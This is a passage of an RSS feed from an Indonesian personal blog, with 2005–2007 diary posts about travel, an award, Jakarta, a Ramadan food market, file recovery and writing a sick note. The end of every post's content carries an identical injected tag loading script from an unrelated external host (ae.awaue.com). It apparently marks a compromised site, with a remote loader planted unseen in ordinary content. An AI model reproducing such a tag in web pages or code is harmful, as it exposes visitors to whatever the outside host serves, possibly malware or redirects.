		<description><![CDATA[Dulu, waktu main ke Singapura, saya beli tiga kuntum bunga plastik yang besar buat ibu saya. Bentuknya bagus, kayak bunga betulan, warnanya merah. Repotnya, sepanjang Orchard Road saya terpaksa menenteng tiga bunga feminim yang panjangnya 70 senti itu. Memang bikin penat, tapi minimal tidak serasa orang sinting, karena tidak ada tatapan aneh ataupun lirikan menghakimi [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://img144.imageshack.us/my.php?image=tigabungamerahmg2.jpg" target="_blank"><img src="http://img144.imageshack.us/img144/9388/tigabungamerahmg2.th.jpg" alt="Tiga Bunga Merah" border="0" class="left" /></a>Dulu, waktu main ke Singapura, saya beli tiga kuntum bunga plastik yang besar buat <a href="http://senyatanya.blogspot.com/2007/01/alone-at-starbuck.html">ibu saya</a>. Bentuknya bagus, kayak bunga betulan, warnanya merah. Repotnya, sepanjang Orchard Road saya terpaksa menenteng tiga bunga feminim yang panjangnya 70 senti itu. Memang bikin penat, tapi minimal tidak serasa orang sinting, karena tidak ada tatapan aneh ataupun lirikan menghakimi dari para singapurawan maupun singapurawati. Tidak seperti kalau di tempat kelahiran saya. Lagipula, udara Singapura segar dan trotoarnya luas bersih. Nyaman sekali buat pejalan kaki yang menenteng 3 bunga merah besar seperti saya.</p>
<p>Sepulangnya di bandara Semarang, lagi-lagi saya harus menenteng tiga bunga yang mencolok mata tadi, walaupun kali ini lebih repot karena bawaan saya ditambah sebuah koper yang berat. Suasananya juga beda, airport Ahmad Yani tentu saja bertolak belakang dengan Changi. Sudut-sudut yang kumuh disesaki wajah prihatin—plus bau-bau anehnya—rupanya mengingatkan halus kalau saya sudah kembali ke dunia nyata.</p>
<p>Dalam perjalanan menuju parkiran, ada tiga orang bapak sopir taksi yang sedang bersandar di pagar. Dengan gerakan tiba-tiba, salah satu bapak itu dengan lancang menyentuh bunga plastik saya. Lho apa ini, pikir saya. Kemudian dia tersenyum, bersandar ke pagar dan bilang ke teman-temannya, &#8220;Tenan to! Mung kembang apus-apusan kok.&#8221; Artinya, &#8220;Benar kan! Cuma bunga palsu kok.&#8221;</p>
<p>Oalah, bapak ini cuma mau memastikan itu bunga palsu, bukan bunga betulan.</p>
<p>Entah kenapa, tapi saya malah senang bapak tadi tidak enggan memastikan bunga itu bukan betulan. Mungkin, si bapak merasa kalau saya dan dia itu cuma saudara jauh. Kalau saudara buat apa enggan?</p>
<p>Dalam hati saya tersenyum simpul dan berpikir, &#8220;I am home <label><img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='18' height='18' title='&#58;&#41;' /></label> &#8220;<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2007/01/3-bunga-merah-besar.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Terima Kasih Untuk Inspirasinya</title>
		<link>http://hermansaksono.com/2007/01/terima-kasih-untuk-inspirasinya.html</link>
		<comments>http://hermansaksono.com/2007/01/terima-kasih-untuk-inspirasinya.html#comments</comments>
		<pubDate>Wed, 03 Jan 2007 14:16:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2007/01/terima-kasih-untuk-inspirasinya.html</guid>
		<description><![CDATA[1 Januari 2007 lalu saya menerima hadiah istimewa dari mas Arief Budiman. Pada awalnya, saya merasa tidak pantas untuk menjawabnya dengan posting balasan di blog, karena seperti orang Jawa yang wajar, hadiah atau prestasi bukanlah sesuatu yang sopan untuk dikoar-koarkan. Tetapi penghargaan ini sangat istimewa, karena diberikan secara pribadi oleh seseorang yang menghargai kreativitas dan [...]]]></description>
			<content:encoded><![CDATA[<p>1 Januari 2007 lalu saya menerima <a href="http://mybothsides.blogspot.com/2006/12/mybothsides-award-2006-winners.html">hadiah istimewa</a> dari mas <a href="http://www.mybothsides.blogspot.com/">Arief Budiman</a>. Pada awalnya, saya merasa tidak pantas untuk menjawabnya dengan posting balasan di blog, karena seperti orang Jawa yang wajar, hadiah atau prestasi bukanlah sesuatu yang sopan untuk dikoar-koarkan.</p>
<p>Tetapi penghargaan ini sangat istimewa, karena diberikan secara pribadi oleh seseorang yang menghargai kreativitas dan kerja keras. Seseorang yang <a href="http://petakumpetworld.com/">agency iklannya</a> saya kagumi karena sangat kreatif dan berani. Jauh lebih tidak sopan jika saya tidak mengucapkan sebuah terima kasih dalam blog ini.</p>
<p>Untuk itu, saya matur nuwun atas <span style="font-style: italic;">award</span> sebagai blogger yang paling inspiratif tahun 2006. Dan kalau saya boleh jujur, saya jadi sangat terbebani, karena artinya saya harus terus menulis dengan standar seperti itu. Tidak boleh lebih rendah. Moga-moga saya tidak bernasib seperti <a href="http://hermansaksono.blogspot.com/2006/07/superman-returns.html">Bryan Singer</a>.</p>
<p>Akan tetapi saya ingat Mas Arief pernah bilang: kalau kita tidak pernah menyiksa diri dengan melalui beban-beban yang berat, kita cuma jadi <abbr title="Se-nothing Roy Suryo bagi Chusnul Mariyah, andaikata BAP itu benar.">nothing</abbr>. Saya jadi ingat lagi kalau obstacle is a good thing.</p>
<p>Walaupun saya mendapat award paling inspiratif, tapi sejujurnya, saya telah terinspirasi oleh mas Arief <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='18' height='18' title='&#58;&#41;' /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2007/01/terima-kasih-untuk-inspirasinya.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Disleksia</title>
		<link>http://hermansaksono.com/2006/01/disleksia.html</link>
		<comments>http://hermansaksono.com/2006/01/disleksia.html#comments</comments>
		<pubDate>Mon, 23 Jan 2006 14:22:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2006/01/disleksia.html</guid>
		<description><![CDATA[Tadi malam pas lagi baca Harry Potter 6, kok saya merasakan ada kelainan pada diri saya: saya kesulitan memahami tulisan di buku tersebut. Paragraf-paragraf itu sepertinya&#8230; tidak ada artinya. Tiba-tiba suster tersebut mengajak saya untuk masuk ruangan. Perawat itu melayani saya layaknya seorang pasien yang akan operasi, Baju saya dibuka dan rambut kaki saya dicukur [...]]]></description>
			<content:encoded><![CDATA[<p>Tadi malam pas lagi baca Harry Potter 6, kok saya merasakan ada kelainan pada diri saya: saya kesulitan memahami tulisan di buku tersebut. Paragraf-paragraf itu sepertinya&#8230; tidak ada artinya. Tiba-tiba suster tersebut mengajak saya untuk masuk ruangan. Perawat itu melayani saya layaknya seorang pasien yang akan operasi, Baju saya dibuka dan rambut kaki saya dicukur habis&#8230;. kok jadi kayak <a href="http://www.natashaanya.com/">sHa</a> gini ya <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_tongue.gif' alt='&#58;&#80;' class='wp-smiley' width='18' height='18' title='&#58;&#80;' /></p>
<p>Tapi ini beneran lho, kemarin saya mengalami kesulitan memahami blok-blok tulisan di buku itu. Jangan jangan:</p>
<p>a. Saya ternyata pengidap disleksia<br />b. <a href="http://hermansaksono.blogspot.com/2006/01/harry-potter-6-spoiler.html">Mbak Listiana Srisanti</a> nerjemahinnya memang bikin pusing<br />c. Saya kebanyakan baca blog</p>
<p>Semoga bukan yang disleksia <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_sad.gif' alt='&#58;&#40;' class='wp-smiley' width='18' height='18' title='&#58;&#40;' /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2006/01/disleksia.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Beberapa catatan selama di Jakarta</title>
		<link>http://hermansaksono.com/2005/12/beberapa-catatan-selama-di-jakarta.html</link>
		<comments>http://hermansaksono.com/2005/12/beberapa-catatan-selama-di-jakarta.html#comments</comments>
		<pubDate>Fri, 30 Dec 2005 12:50:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2005/12/beberapa-catatan-selama-di-jakarta.html</guid>
		<description><![CDATA[BuswayWalaupun seharusnya dipanggil dengan nama bis Transjakarta, banyak orang lebih memilih menyebutnya sebagai Busway, yang sejujurnya membuat saya sedikit risih . Tapi terlepas dari itu, setelah dua tahun beroperasi ternyata AC bus Transjakarta masih sangat dingin, hingga membuat saya bersin-bersin. Sepertinya, Busway&#8230;. errr&#8230; Transjakarta&#8230; tidak sejelek yang dibilang orang. Pegawai GiordanoPegawai perempuan Giordano di Pondok [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-weight: bold;">Busway</span><br />Walaupun seharusnya dipanggil dengan nama bis Transjakarta, banyak orang lebih memilih menyebutnya sebagai Busway, yang sejujurnya membuat saya sedikit risih <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_tongue.gif' alt='&#58;&#80;' class='wp-smiley' width='18' height='18' title='&#58;&#80;' /> . Tapi terlepas dari itu, setelah dua tahun beroperasi ternyata AC bus Transjakarta masih sangat dingin, hingga membuat saya bersin-bersin. Sepertinya, Busway&#8230;. errr&#8230; Transjakarta&#8230; tidak sejelek yang dibilang orang.</p>
<p><span style="font-weight: bold;">Pegawai Giordano</span><br />Pegawai perempuan Giordano di Pondok Indah Mall tidak semenarik pegawai Giordano Jogja. Tetapi pendekatan pegawai Giordano Jakarta lebih liar dan impulsif dibanding Jogja. Ketika masuk ke dalam gerai Giordano, pegawai Giordano langsung menguntiti saya seperti singa menguntit seekor antelop yang malang.</p>
<p><span style="font-weight: bold;">Polisi</span><br />Polisi lalu lintas Jakarta pada umumnya gemuk-gemuk dan pakaiannya tidak serapi polisi Jogja. Muncul kesan kalau polisi Jakarta itu lebih slebor, tidak memperhatikan kesehatan, dan jarang olahraga.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2005/12/beberapa-catatan-selama-di-jakarta.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Sabbatical</title>
		<link>http://hermansaksono.com/2005/12/sabbatical.html</link>
		<comments>http://hermansaksono.com/2005/12/sabbatical.html#comments</comments>
		<pubDate>Sat, 24 Dec 2005 21:06:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2005/12/sabbatical.html</guid>
		<description><![CDATA[Dalam beberapa hari yang akan datang, saya akan ke Jakarta bersama keluarga. Mohon maaf kalau tidak ada hal baru disini selama saya pergi Herman]]></description>
			<content:encoded><![CDATA[<p>Dalam beberapa hari yang akan datang, saya akan ke Jakarta bersama keluarga. Mohon maaf kalau tidak ada hal baru disini selama saya pergi <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='18' height='18' title='&#58;&#41;' /></p>
<p>Herman<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2005/12/sabbatical.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Petualangan Pasar Tiban Kauman</title>
		<link>http://hermansaksono.com/2005/11/petualangan-pasar-tiban-kauman.html</link>
		<comments>http://hermansaksono.com/2005/11/petualangan-pasar-tiban-kauman.html#comments</comments>
		<pubDate>Tue, 01 Nov 2005 07:43:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>
		<category><![CDATA[kuliner]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2005/11/petualangan-pasar-tiban-kauman.html</guid>
		<description><![CDATA[Kauman adalah salah satu daerah di downtown Jogja, tepatnya di sebelah barat Kraton Sultan. Tempat yang dikenal sebagai kampungnya kaum santri ini memiliki sejarah yang panjang. Gerakan Muhammadiyah misalnya, didirikan di tempat ini pada tahun 1912. Pendiri Muhammadiyah, Ahmad Dahlan juga tumbuh dan berkembang di daerah ini. Setiap bulan puasa, warga daerah Kauman mengadakan pasar [...]]]></description>
			<content:encoded><![CDATA[<p>Kauman adalah salah satu daerah di <i>downtown</i> Jogja, tepatnya di sebelah barat Kraton Sultan. Tempat yang dikenal sebagai kampungnya kaum santri ini memiliki sejarah yang panjang. Gerakan Muhammadiyah misalnya, didirikan di tempat ini pada tahun 1912. Pendiri Muhammadiyah, <a href="http://id.wikipedia.org/wiki/Ahmad_Dahlan">Ahmad Dahlan</a> juga tumbuh dan berkembang di daerah ini.</p>
<p>Setiap bulan puasa, warga daerah Kauman mengadakan pasar tiban yang menjual berbagai makanan untuk berbuka puasa. Disini, sebuah gang kecil sederhana disulap menjadi sebuah surga makanan yang panjang.</p>
<p>Setelah rencana kesana tertunda berkali-kali, akhirnya hari Sabtu kemarin saya dan rekan-rekan saya dapat mengunjungi tempat ini. Tapi perjalanan kesana bukannya tanpa perjuangan, pengorbanan dan tunggu menunggu.</p>
<h4>Tunggu menunggu</h4>
<p>Pertama, Tika harus menunggu saya dan Chori mengantri tukang cukur karena hari Sabtu adalah kesempatan terkahir untuk potong rambut sebelum lebaran. Setelah itu Antok harus menunggu Chori yang ada urusan ke rumah temannya. Setelah Chori sampai, kami harus menunggu Tika bersiap (yang selalu lama). Sesampainya di Kauman kami harus menunggu Chori sholat Ashar. Menunggu Chori sholat-pun ternyata cukup lama, karena masjid terdekat adalah Masjid Agung yang sebenernya cukup jauh. 30 Menit kemudian kami baru bisa masuk ke gang tersebut.</p>
<h4>Di Kauman</h4>
<p>Makanan yang ditawarkan disitu, walupun tidak semuanya fantastis, tapi memang membuat bingung karena pilihan yang ditawarkan ternyata banyak sekali. Ada kue-kue, iso goreng, sambel goreng jengkol, sambel goreng teri, tengkleng, buntil dll. Semuanya nampak lezat dan menggiurkan, terutama karena kami kelaparan puasa.</p>
<p>Akhirnya saya membeli martabak manis rasa kacang coklat (itupun harus melalui berbagai perseteruan karena teman-teman saya yang lain kepingin rasa keju). Untuk lauk saya memilih <span style="font-weight: bold;">sate usus</span> (yang enak sekali), <span style="font-weight: bold;">pepes tongkol</span> dan <span style="font-weight: bold;">buntil</span>. Teman saya, Antok memilih <span style="font-weight: bold;">wader goreng</span> sementara Chori yang sedikit konservatif memilih <span style="font-weight: bold;">sate ayam</span> (yang setelah dimakan rasanya agak basi).</p>
<h4>Miskomunikasi</h4>
<p>Tapi miskomunikasi kembali terjadi tatkala kami berusaha menentukan lokasi berbuka puasa. Kubu Antok-Tika mengira kami akan makan di depan <span style="font-weight: bold;">Benteng Vredeburg</span>, sementara kubu Herman-Chori mengira akan makan di <span style="font-weight: bold;">Soceitet</span>. Untungnya miskomunikasi dapat diatasi.</p>
<p>Akhirnya kami berbuka puasa di depan <span style="font-weight: bold;">Gedung Agung</span>. Disana Chori kembali kecewa, selain karena satenya rasanya sudah tidak wajar, di tempat kami makan ternyata juga ada yang jualan sate <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_tongue.gif' alt='&#58;&#80;' class='wp-smiley' width='18' height='18' title='&#58;&#80;' /></p>
<p>Akhirnya makan selesai. Rencana semula kita mau langsung ke Malioboro Mall dengan dua agenda: 1) Menukarkan baju kerja Atika di outlet The Executive 2) Ngecengi SPG The Executive yang <span style="font-style: italic;">cool </span>dan <span style="font-style: italic;">smart</span>. Tapi ternyata baju yang akan ditukarkan oleh Atika ketinggalan. Otomatis kami terpaksa bergegas kembali ke Gamatechno untuk mengambil baju yang akan ditukarkan.</p>
<p>Di tengah perjalanan, saya sadar kalau helm saya ketinggalan di tempat kami makan! Dengan kata lain selama perjalanan ke Gamatechno saya tidak pakai helm. Untung tidak ada polisi! Coba kalau ditilang polisi&#8230; bisa jadi ini menjadi malam minggu yang mahal (Potong Rambut 15rb, Kauman 15rb, ditilang 50rb, helm baru 50rb). Siyal, padahal itu helm baru, helm saya sebelumnya ketinggalan di taksi.</p>
<p>Helm saya akhirnya memang tidak selamat. Dan percayalah, masih ada banyak kejadian menyebalkan setelah itu, yang sepertinya tidak begitu pantas diceritakan.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2005/11/petualangan-pasar-tiban-kauman.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Diselamatkan Google Desktop</title>
		<link>http://hermansaksono.com/2005/10/diselamatkan-google-desktop.html</link>
		<comments>http://hermansaksono.com/2005/10/diselamatkan-google-desktop.html#comments</comments>
		<pubDate>Wed, 26 Oct 2005 03:00:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2005/10/diselamatkan-google-desktop.html</guid>
		<description><![CDATA[Pagi tadi saya juengkel setengah mati. Lha gimana tidak, file html dan css desain web yang saya buat semalaman untuk teman saya, lenyap tanpa bekas. Dugaan saya sih, kemarin malam komputer saya mati mendadak dan kebetulan file html dan css tersebut masih terbuka di dreamweaver. Jadi ketika komputernya mati, kedua file tsb hilang begitu saja. [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celos.or.id/blogimages/baygoogledesktop.jpg" class="center" /><br />Pagi tadi saya juengkel setengah mati. Lha gimana tidak, file html dan css desain web yang saya buat semalaman untuk teman saya, lenyap tanpa bekas. Dugaan saya sih, kemarin malam komputer saya mati mendadak dan kebetulan file html dan css tersebut masih terbuka di dreamweaver. Jadi ketika komputernya mati, kedua file tsb hilang begitu saja. Siyal, keja sampe jam 1 malam sia-sia.</p>
<p>Padahal, desain tsb harus diserahkan pagi ini&#8230;</p>
<p>Tapi untung saya sempat ingat kalau Google Desktop membuat salinan file-file saya. Dan ternyata benar, setelah searching sebentar, index.html masih ada salinannya di database Google. Yang bikin susah&#8230; file CSS yang bikinnya lama banget, ternyata tidak terselamatkan. Yah, setidaknya file html-nya masih utuh, jadi teman saya bisa kerja duluan.</p>
<p>Mungkin inilah indahnya filosofi xHTML 1.0 strict: Data dan Presentation (HTML dan CSS) terpisah mutlak, sehingga  developer bisa bekerja paralel.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2005/10/diselamatkan-google-desktop.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Google dari Hong Kong?</title>
		<link>http://hermansaksono.com/2005/10/google-dari-hong-kong.html</link>
		<comments>http://hermansaksono.com/2005/10/google-dari-hong-kong.html#comments</comments>
		<pubDate>Fri, 21 Oct 2005 00:42:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>
		<category><![CDATA[finds]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2005/10/google-dari-hong-kong.html</guid>
		<description><![CDATA[Entah kenapa, setiap kali buka Google saya selalu dikira nyambung dari Hong Kong. Apakah Google punya teknologi biometri untuk mengenal pengguna berdasar kesipitan matanya? Hmmmm. Kalau ada yang bisa membantu saya, supaya saya tidak dikira orang Hong Kong sama Google (artinya: bagimana supaya tawaran switching menjadi bahasa Hong Kong bisa hilang, atau setidaknya tawaran switchingnya [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celos.or.id/blogimages/googlehongkong.gif" class="center" /><br />Entah kenapa, setiap kali buka Google saya selalu dikira nyambung dari Hong Kong. Apakah Google punya teknologi biometri untuk mengenal pengguna berdasar kesipitan matanya? Hmmmm.</p>
<p>Kalau ada yang bisa membantu saya, supaya saya tidak dikira orang Hong Kong sama Google (artinya: bagimana supaya tawaran switching menjadi bahasa Hong Kong bisa hilang, atau setidaknya tawaran switchingnya menjadi bhs Indonesia) please <a href="mailto:herman.saksono@gmail.com">drop me a line</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2005/10/google-dari-hong-kong.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Tampilan baru</title>
		<link>http://hermansaksono.com/2005/09/tampilan-baru.html</link>
		<comments>http://hermansaksono.com/2005/09/tampilan-baru.html#comments</comments>
		<pubDate>Thu, 22 Sep 2005 01:48:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2005/09/tampilan-baru.html</guid>
		<description><![CDATA[Jika anda sedang membaca ini kemungkinan besar anda sedang melihat style baru blog saya. Benar! Warna pink sudah tidak dominan lagi, walaupun masih menjadi ciri khas dari desain yang saya gunakan. Areal untuk tulisan lebih luas sehingga tulisan bisa lebih besar dan mudah dibaca. Yang jelas style ini adalah style custom, bukan style kalengan dari [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-553" title="rip" src="http://hermansaksono.com/wp-content/uploads/2008/06/rip.jpg" alt="" width="350" height="497" /></p>
<p>Jika anda sedang membaca ini kemungkinan besar anda sedang melihat style baru blog saya. Benar! Warna pink sudah tidak dominan lagi, walaupun masih menjadi ciri khas dari desain yang saya gunakan. Areal untuk tulisan lebih luas sehingga tulisan bisa lebih besar dan mudah dibaca. Yang jelas style ini adalah style custom, bukan style kalengan dari blogger.com.</p>
<p>Font yang digunakan adalah font baru Windows Vista, yang saya dapat setelah membaca <a href="http://yulian.firdaus.or.id/2005/09/20/windows-vista-fonts/">blognya mas Jay</a>. Jika anda tidak punya font tersebut, blog ini akan dirender dengan Lucida Grande, jika Lucida Grande tidak ada maka akan dirender dengan Arial. Jika Arial nggak ada, ya berarti blog ini akan menggunakan font sans-serif default pada OS anda.</p>
<p>Apakah perubahan tampilan ini hanya perubahan pada kulitnya saja. Sayangnya iya. Apakah anda membenci tampilan baru ini? Jika iya, silahkan tinggalkan komentar disini. Ok? Terima kasih.</p>
<p>Untuk menutup post ini, mari kita ucapkan selamat tinggal kepada style pink yang sudah menemani saya selama 6 bulan.</p>
<p><a href="http://www.celos.or.id/blogimages/bloglama.jpg"><img class="center" src="http://www.celos.or.id/blogimages/bloglama_tn.jpg" alt="" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2005/09/tampilan-baru.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Petulangan Surat Ijin</title>
		<link>http://hermansaksono.com/2005/09/petulangan-surat-ijin.html</link>
		<comments>http://hermansaksono.com/2005/09/petulangan-surat-ijin.html#comments</comments>
		<pubDate>Thu, 15 Sep 2005 04:51:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[diary]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2005/09/petulangan-surat-ijin.html</guid>
		<description><![CDATA[Menulis surat ijin ternyata lebih susah dari yang saya kira. Tadi pagi, adik saya mengeluh pusing-pusing dan mual sehingga tidak dapat masuk sekolah. Kebetulan Ibu saya sedang ke luar kota dan Bapak saya sudah berangkat, sehingga saya terpaksa membuatkan surat ijin sakit untuk wali kelas adik saya. Dengan time-constraint yang cukup ketat pula: harus sampai [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celos.or.id/blogimages/suratijin.jpg" alt="" /><br />Menulis surat ijin ternyata lebih susah dari yang saya kira.</p>
<p>Tadi pagi, adik saya mengeluh pusing-pusing dan mual sehingga tidak dapat masuk sekolah. Kebetulan Ibu saya sedang ke luar kota dan Bapak saya sudah berangkat, sehingga saya terpaksa membuatkan surat ijin sakit untuk wali kelas adik saya. Dengan <span style="font-style: italic;">time-constraint</span> yang cukup ketat pula: harus sampai di sekolah sebelum jam 10.00 karena guru yang mengajar jam 10 sangat galak.</p>
<p>Sungguh sebuah timing yang sangat tepat. Sudah jam 8.00 dan kuliah saya mulai 1 jam yang lalu. Berarti telatnya nambah 30-40 menit.</p>
<p>Ok&#8230;. Sebelum mulai menulis ada beberapa goal yang ingin saya capai dalam surat tersebut:<br />1. Surat ijin harus singkat dan padat. Kalau perlu <span style="font-style: italic;">impersonal </span>dan tidak terlalu banyak menggunakan kata-kata pemanis supaya terkesan profesional dan&#8230; impesonal. Saya tidak ingin terkesan seperti wali kelas dari tahun 70-an.<br />2. Surat ijin harus sebisa mungkin menggunakan tata bahasa Indonesia yang baik dan benar, tapi harus tetap mudah dipahami.</p>
<p>Hal pertama yang saya lakukan tentunya mengganti font dari <a href="http://en.wikipedia.org/wiki/Times_New_Roman">Times New Roman</a> menjadi <a href="http://en.wikipedia.org/wiki/Myriad">Myriad </a>supaya nampak lebih menarik tapi tetap terkesan profesional. Dan tidak seperti aturan menulis surat klasik yang diajarkan sewaktu SD, semua tulisan saya buat rata kanan, termasuk tanggal dan tanda tangan.</p>
<p>Oiya, semua paragraf tidak saya <span style="font-style: italic;">justify</span>.</p>
<p>Setelah itu saya mulai memikirkan hal yang paling penting. Isi surat. Wakz! Walaupun ibu say selalu menulis diari, proposal, dan surat menggunakan komputer, khusus untuk surat ijin sakit ibu saya tidak pernah menggunakan komputer! Makanya udah saya cari pake instant search Google Desktop tapi nggak keluar. Padahal adik saya termasuk sering ijin.<br />
<blockquote style="color: rgb(102, 0, 204);">Dengan hormat,<br />bersama surat ini saya memberitahukan bahwa Dian Paramita, siswa kelas III IPS&#8230;</p></blockquote>
<p>Oiya, seharusnya kelas III IPS ditulis kelas 3 IPS, karena kalau ditulis dengan angka romawi berarti diucapkan: &#8216;kelas ke-tiga IPS&#8217;.<br />
<blockquote><span style="color: rgb(102, 0, 204);">Dengan hormat,</span><br /><span style="color: rgb(102, 0, 204);">bersama ini saya memberitahukan bahwa Dian Paramita, siswa kelas 3 IPS tidak dapat mengikuti pelajaran pada Kamis, 15 September 2005 karena sakit..</span></p></blockquote>
<p>Hmmm&#8230; kok sepertinya nada yang saya gunakan menyebalkan sekali ya? Lagipula adik saya terkesan seperti obyek. Untunglah adik saya yang tertatih-tatih memberi surat ijin buatan ibu saya:<br />
<blockquote style="color: rgb(153, 51, 153);">Dengan hormat,</p>
<p>bersama ini saya, orang tua dari Dian Paramita, siswa kelas III IIS, memohonkan ijin untuk tidak dapat mengikuti pelajaran pada hari Kamis, 15 September 2005 karena sakit.</p></blockquote>
<p>Hahahaha, ternyata Ibu saya melakukan kesalahan standar menggunakan angka romawi untuk menunjukkan kelas. Tapi yang parah tentunya penggunaan kata &#8216;memohonkan&#8217;, yang terdengar tidak baku. Mungkin seharusnya seperti ini:<br />
<blockquote><span style="color: rgb(102, 0, 204);">Dengan hormat,</span></p>
<p><span style="color: rgb(102, 0, 204);">bersama ini saya, wali dari Dian Paramita, siswa kelas 12 IIS, bermaksud mengajukan permohonan ijin untuk tidak dapat mengikuti pelajaran pada hari Kamis, 15 September 2005 karena sakit.</span> </p></blockquote>
<p>Wah sempurna! Tapi tentunya saya tidak cukup berpuas diri, sehingga saya mulai menjelaskan kepada adik saya bawha suart ini dibuat dengan tata bahasa yang lebih baik dan tipografi yang lebih berkelas.</p>
<p>Sayangnya adik saya tidak begitu tertarik dan malah terlihat bosan ketika saya mulai menjelaskan penggunaan angka romawi yang tepat.</p>
<p>Sialan.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2005/09/petulangan-surat-ijin.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>
